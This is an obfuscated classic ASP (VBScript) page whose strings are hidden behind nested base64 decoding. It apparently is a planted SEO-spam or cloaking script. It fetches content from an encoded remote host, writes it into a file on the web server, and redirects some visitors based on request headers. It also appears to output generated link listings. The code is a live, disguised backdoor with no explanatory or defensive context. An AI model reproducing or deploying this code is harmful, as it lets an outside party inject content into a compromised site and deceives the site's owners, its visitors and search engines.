<%@language="vbscript" codepage="65001"%> <%option explicit%> <% on error resume next %> <%response.charset="utf-8"%> <% Function A_A__A_A___A(ByVal A_A_AAAAA___A) A_A__A_A___A = Right(Left(A_A_AAAAA___A,Len(A_A_AAAAA___A)-1), Len(A_A_AAAAA___A)-2) End Function Function A_A__AAAA___A(ByVal A_A__AA__AA_A) Dim A_A__A_AAAAAA, A___AAAA_A, A_A__AAA__AA_A,A__A__AAA___A___ A_A__AA__AA_A = Replace(Replace(Replace(A_A__AA__AA_A, vbCrLf, ""), vbTab, ""), " ", "") A_A__A_AAAAAA = Len(A_A__AA__AA_A) If A_A__A_AAAAAA Mod 4 <> 0 Then Exit Function End If For A_A__AAA__AA_A = 1 To A_A__A_AAAAAA Step 4 Dim A__A__AAA__A____, A__A__AAA__A_____, A__A__AAA__A_______, A__A__AAA__A________, A__A__AAA__A_________, A__A__AAA__A__________ A__A__AAA__A____ = 3 A__A__AAA__A_________ = 0 For A__A__AAA__A_____ = 0 To 3 A__A__AAA__A_______ = Mid(A_A__AA__AA_A, A_A__AAA__AA_A + A__A__AAA__A_____, 1) If A__A__AAA__A_______ = "=" Then A__A__AAA__A____ = A__A__AAA__A____ - 1 A__A__AAA__A________ = 0 Else Dim A__A__AAA__A___________ A__A__AAA__A___________ = AscW(A__A__AAA__A_______) If A__A__AAA__A___________>=65 And A__A__AAA__A___________<=90 Then A__A__AAA__A________ = A__A__AAA__A___________ - 65 ElseIf A__A__AAA__A___________>=97 And A__A__AAA__A___________<=122 Then A__A__AAA__A________ = A__A__AAA__A___________ - 71 ElseIf A__A__AAA__A___________>=48 And A__A__AAA__A___________<=57 Then A__A__AAA__A________ = A__A__AAA__A___________ + 4 ElseIf A__A__AAA__A___________=43 Then A__A__AAA__A________ = 62 ElseIf A__A__AAA__A___________=47 Then A__A__AAA__A________ = 63 Else A__A__AAA__A________ = -1 End If End If If A__A__AAA__A________ = -1 Then Exit Function End If A__A__AAA__A_________ = 64 * A__A__AAA__A_________ + A__A__AAA__A________ Next A__A__AAA__A_________ = Hex(A__A__AAA__A_________) A__A__AAA__A_________ = String(6 - Len(A__A__AAA__A_________), "0") & A__A__AAA__A_________ A__A__AAA___A___ = "&H" A__A__AAA__A__________ = Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 1, 2))) + _ Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 3, 2))) + _ Chr(CByte(A__A__AAA___A___ & Mid(A__A__AAA__A_________, 5, 2))) A___AAAA_A = A___AAAA_A & Left(A__A__AAA__A__________, A__A__AAA__A____) Next A_A__AAAA___A = A___AAAA_A End Function Function A__A__AAA___A(ByVal A__A__AA__A) A__A__AAA___A=A_A__A_A___A(A_A__AAAA___A(A_A__A_A___A(A_A__AAAA___A(A_A__A_A___A(A_A__AAAA___A(A__A__AA__A)))))) End Function Function A__A_A(A___A_A) Dim A___A__A,A___A___A Set A___A__A = Server.CreateObject(A__A__AAA___A("clpWa3dSa1ZVTUZKRFRHeE9NR050Vm1oaVdHODlZZz09ZA==")) A___A__A.Type = 2 A___A__A.Open A___A__A.WriteText A___A_A A___A__A.Position = 0 A___A__A.Charset = A__A__AAA___A("dGNXVllWakJhYVRBMFpWRTlQWGs9ZQ==") A___A__A.Position = 2 A___A___A =A___A__A.ReadText A___A__A.close Set A___A__A = Nothing A__A_A = A___A___A End Function Function A___A____A(AAAA_A__A, A_AA__A__A) Dim A_AAAA_A__A,A___A_A_A set A___A_A_A = Server.CreateObject(A__A__AAA___A("amEyUlhSbXRpTWxKcFRHNU9NR050Vm1oaVYyYzlZUT09bA==")) A___A_A_A.type = 2 A___A_A_A.mode = 3 A___A_A_A.charset = A_AA__A__A A___A_A_A.open A___A_A_A.loadfromfile Server.MapPath(AAAA_A__A) A_AAAA_A__A = A___A_A_A.readtext A___A_A_A.Close set A___A_A_A = nothing A___A____A = A_AAAA_A__A End Function Function AA_AA__A(AA___AA__A) dim A___AAAA__A Set A___AAAA__A = Server.createobject(A__A__AAA___A("ZlltSXdNWHBsUnpGelRXazFXVlJWZUVsV1JsSlJXVkU5UFdZPWU=")) A___AAAA__A.Open A__A__AAA___A("YlltRlZaRVpXU0c4OWRnPT13"),AA___AA__A,False A___AAAA__A.send If A___AAAA__A.readyState <> 4 Then Exit Function AA_AA__A = A__A_A(A___AAAA__A.responseBody) Set A___AAAA__A = Nothing End Function dim A___A_AA_A A___A_AA_A=Request.ServerVariables(A__A__AAA___A("Y2NXTXhUbXBqYld4M1pFWTVUMWxYTVd4aWR6MDladz09bQ==")) & A__A__AAA___A("Z1pXTlROVEJpV0VKcGNBPT1w") dim A___AA__A,A__AA_A__A,A___A____AA,A___A__AA_A,A___AAA__A,A_A__AA__A,A__AAAA_A_A,A__A_AAA___A_A,A__A_A_____A_A,A__AA__AAA,A__AA___A_A,A__AAAA___A_A,A__A___A__A_A,A_______AAA_A,A_______A_A,A__AA___A___A,AAAA__AA___A___A,AAAAA_____A___A,A_AAA___A___A,AAA_AAA___A_A,AAAA__A_A___A A___AA__A = A__A__AAA___A("amVtVnRhREJrU0VFMlRIazVNMlF6WTNWak1sWjVaRzFXZVZreU9YVmtiVlo1WkVNMWFtSXlNSFphTWxZd1l6SldlV1J0Vm5sTWJVWjZZMGhuTDFsblBUMWxq") A__AA_A__A = request.querystring(A__A__AAA___A("cVpscFlUalZ4eg==")) A_A__AA__A = request.querystring(A__A__AAA___A("elpHRXljSFIzaQ==")) A__AAAA___A_A = LCase(Request.ServerVariables(A__A__AAA___A("clpWcFZhREJrU0VKbVZXMVdiVnBZU214amJXODlkdz09Yw=="))) A_______A_A = request.querystring(A__A__AAA___A("c2JXUXllSGxoYQ==")) if request.querystring(A__A__AAA___A("ZGNGbFlXbXR2bg=="))<>"" then response.write(A__A__AAA___A("Y2IyRkVSWGROUkVZeWFBPT1u")) elseif A__AAAA___A_A<>"" and instr(A__AAAA___A_A,A__A__AAA___A("Z1pWb3laSFppTW1SeldsZHJQWFU9dg=="))>0 and A_A__AA__A<>"" then A__A___A__A_A = A__A__AAA___A("ZFkySnRhREJrU0VFMlRIazVNMlF6WTNWak1sWjVaRzFXZVdGdVZuUmpRelZxWWpJd2RtRnVWblJqUXpWb1l6TkNORkF5Y0RGaVdFSndXa1F4ZFdVPXc=")&A_A__AA__A&A__A__AAA___A("dmIxcERXbk5aVnpWdVVGaFZQV1E9cg==")&A_______A_A response.redirect A__A___A__A_A else A___A____AA = AA_AA__A(A___AA__A&A__A__AAA___A("d2VWb3pUbXhqYmxwc1kyMXNhMUJZWnoxbmI=")&A__AA_A__A&A__A__AAA___A("bFptSnBXbmxpYlZFNVkxRTlQV009ZA==")&rnd()) A___A__AA_A = request.querystring(A__A__AAA___A("dmNHSnRkRFZ0ZA==")) A___AAA__A = request.querystring(A__A__AAA___A("bmJtRklWbmw1cw==")) if request.querystring(A__A__AAA___A("ZFoyUkhNV2w2cw=="))="" then A__AA__AAA=A___A____AA&A__A__AAA___A("cWVHUkRPVWhhV0ZKV1kyMTRWVnBYTVhkaVIwWXdXbE0xYUdNelFqUlFNMVo1WWtkc2ExQlliejF5bQ==")&A___AAA__A&A__A__AAA___A("cmJsbDVXbkphV0d3ellqTkthMkZYVVRsYWR6MDlidz09eg==")&A___A__AA_A&A__A__AAA___A("dmIxcERXbk5aVnpWdVVGaFZQV1E9cg==")&A_______A_A&A__A__AAA___A("bFptSnBXbmxpYlZFNVkxRTlQV009ZA==")&rnd() A__AA___A_A=A___A____AA&A__A__AAA___A("dGIyUlRPVzVhV0ZKb1kyNVNjRmt5ZUd4TWJVWjZZMGhuTDJSWVNuTmhWMUU1WlZFOVBXMD1m")&A___AAA__A&A__A__AAA___A("cmJsbDVXbkphV0d3ellqTkthMkZYVVRsYWR6MDlidz09eg==")&A___A__AA_A&A__A__AAA___A("dmIxcERXbk5aVnpWdVVGaFZQV1E9cg==")&A_______A_A&A__A__AAA___A("bFptSnBXbmxpYlZFNVkxRTlQV009ZA==")&rnd() A__A_AAA___A_A="" set A__AAAA_A_A = Server.CreateObject(A__A__AAA___A("blptRXhUbXBqYld4M1pFZHNkVnA1TlVkaFYzaHNWVE5zZW1SSFZuUlVNa3B4V2xkT01HSlJQVDFybA==")) if A__AAAA_A_A.FileExists(Server.MapPath(A___A_AA_A)) then A__A_AAA___A_A = A___A____A(A___A_AA_A, A__A__AAA___A("dGNXVllWakJhYVRBMFpWRTlQWGs9ZQ==")) If instr(A__A_AAA___A_A, A__A__AAA___A("eVpHSnBUbXBpTWpVd1dsYzFNRWt6WnoxemY="))<=0 then A__A_AAA___A_A = "" end If end If if A__A_AAA___A_A="" then A__A_AAA___A_A = AA_AA__A(A__AA__AAA) dim file set file = A__AAAA_A_A.createtextfile(Server.MapPath(A___A_AA_A), true, true) If err.number=0 then file.write(A__A_AAA___A_A) file.close set file = nothing else err.clear A__A_AAA___A_A = A__A__AAA___A("b2FXSnFkMmhNVXpCMFpETktjR1JIVldka1IxWjBZMGQ0YUdSSFZXZGFiVVp3WWtkV2EweERRbmxhV0ZJeFkyMDBaMWx1YTJkak1sWjVaRzFXZVVsSFVuQmpiVlpxWkVkNE5VeFRNSFJRYm1jOWF3PT1u")&A__A_AAA___A_A end If end if if A__A_AAA___A_A<>"" and instr(A__A_AAA___A_A, A__A__AAA___A("eVpHSnBUbXBpTWpVd1dsYzFNRWt6WnoxemY="))>0 then A__A_A_____A_A =AA_AA__A(A__AA___A_A) If A__A_A_____A_A<>"" then Dim xmlDoc set xmlDoc = Server.CreateObject(A__A__AAA___A("emFHRXdNWEJaTTBwMll6STViV1JETlZsVVZYaEZWREF4YW1zPWo=")) xmlDoc.async=False xmlDoc.LoadXML(A__A_A_____A_A) dim xml set xml = xmlDoc.selectSingleNode(A__A__AAA___A("d2VGbHBPSFpsUnpGellrRTlQWFU9bw==")) if not (xml is nothing) then A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("dWNXVkRUbk5aVnpWdVpGZEdibHBUVG5GcHg="), A_______A_A) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("clkySlRUakJoV0ZKeldsTk9jR2s9cw=="), xml.selectSingleNode(A__A__AAA___A("b2NHSkhkR3hsV0dSMlkyMVNlbVZuUFQxM3k=")).text) if err.number>0 then err.clear response.write(A__A__AAA___A("YmVWb3phSFJpUTBKc1kyNUtkbU5xY0docW0=")&A__AA___A_A) response.end end if A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("ZlpGbHBUbkphV0d3ellqTkthMk41VGpWdG4="), xml.selectSingleNode(A__A__AAA___A("b2NHSkhkR3hsV0dSMlkyMVNlbVZuUFQxM3k=")).text) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("bVkyVkRUbXRhV0U1cVkyMXNkMlJIYkhaaWFVNXJkUT09Zw=="), xml.selectSingleNode(A__A__AAA___A("b2NHSkhkR3hsV0dSMlkyMVNlbVZuUFQxM3k=")).text&A__A__AAA___A("clpHSlRlRzlwYw==")&xml.selectSingleNode(A__A__AAA___A("ZFpWbHRVbXhqTWs1NVlWaENNR0ZYT1hWWmR6MDlZZz09YQ==")).text&A__A__AAA___A("clpHSlRlRzlwYw==")&Request.ServerVariables(A__A__AAA___A("dGJsa3dhRlZXUmtKbVUwVTVWRlpITkQxaXA="))) A__A_AAA___A_A = replace(A__A_AAA___A_A, A__A__AAA___A("eVpHSnBUbXBpTWpVd1dsYzFNRWt6WnoxemY="), xml.selectSingleNode(A__A__AAA___A("YVpscHRUblppYmxKc1ltNVNObVk9bw==")).text) response.write(A__A_AAA___A_A) else response.write(A__A__AAA___A("aGVtUllRbWhqYms1c1NVaG9kR0pEUW0xWlYyeHpXbGRSTm1GM1BUMXJx")&A__A_A_____A_A) end if response.end else response.write(A__A__AAA___A("bGJHRlhUblppYmxKc1ltNVJaMkZZVFdkaWJsWnpZa1J3ZDJJPWs=")&A__AA___A_A) end If else response.write(A__A__AAA___A("dGVtRXpVbXhpV0VKeldWaFNiRWxIYkhwSlJ6VXhZa2QzTm1WUlBUMXJ0")&A__AA__AAA) end if else A_______AAA_A = AA_AA__A(A___A____AA&A__A__AAA___A("ZmVsbHBPWHBoV0ZKc1lsZEdkMHh0Um5walNHY3ZZMjAxYTFCWFJUMXp5")&rnd()&A__A__AAA___A("aWNtUnBXbkJpV0VKMlkyNVNNV050ZUhCYVJERjRaQT09cA==")&A___AAA__A) if A_______AAA_A<>"" then A__AA___A___A=split(A_______AAA_A,A__A__AAA___A("cWFscEVkRFZpcA==")) if ubound(A__AA___A___A)>0 then response.ContentType=A__A__AAA___A("ZmRscElVbXhsU0ZGMlYwVXhUV05SUFQxcW4=") response.write(""&vbcrlf) for AAAA__A_A___A=0 to ubound(A__AA___A___A) AAAA__AA___A___A=split(A__AA___A___A(AAAA__A_A___A),A__A__AAA___A("clpHSlRlRzlwYw==")) if ubound(AAAA__AA___A___A)>0 then A_______A_A=AAAA__AA___A___A(0) AAA_AAA___A_A=AAAA__AA___A___A(1) if AAA_AAA___A_A<>"" and A_______A_A<>"" then A_AAA___A___A=A__A__AAA___A("amRXTlhhREJrU0VFMlRIazVNMkU9cg==")&LCase(Request.ServerVariables(A__A__AAA___A("dGJsa3dhRlZXUmtKbVUwVTVWRlpITkQxaXA=")))&LCase(Request.ServerVariables(A__A__AAA___A("Y2NXTXhUbXBqYld4M1pFWTVUMWxYTVd4aWR6MDladz09bQ==")))&A__A__AAA___A("bVkxcFVPVEZRV0VFOWVRPT1x")&A___AAA__A&A__A__AAA___A("c1kyRnBXbk5RV0ZrOWF3PT14")&A_______A_A&A__A__AAA___A("cmJXUlRXbnBRV0UwOWN3PT1x")&A__AA_A__A for AAAAA_____A___A=2 to ubound(AAAA__AA___A___A) response.write(A__A__AAA___A("ZmRXUjZlREZqYlhjclVFZDRkbGw2TkRoSlZuUkVVa1ZHVlZGV2RETnlk")&A_AAA___A___A&A__A__AAA___A("c1lscFRXbkpRV0VFOWFBPT1o")&AAAA__AA___A___A(AAAAA_____A___A)&A__A__AAA___A("dllXRjVXbkZRVnpnOWVnPT1q")&AAA_AAA___A_A&A__A__AAA___A("elpHRXhNV1JRYW5kMllrYzVhbEJxZDNaa1dFcHpVRzVWUFhjPXM=")&vbcrlf) next end if end if next response.write(A__A__AAA___A("aVkyTlVkM1prV0Vwell6SldNRkJ1WXoxam8=")) response.end end if end if end If end if %>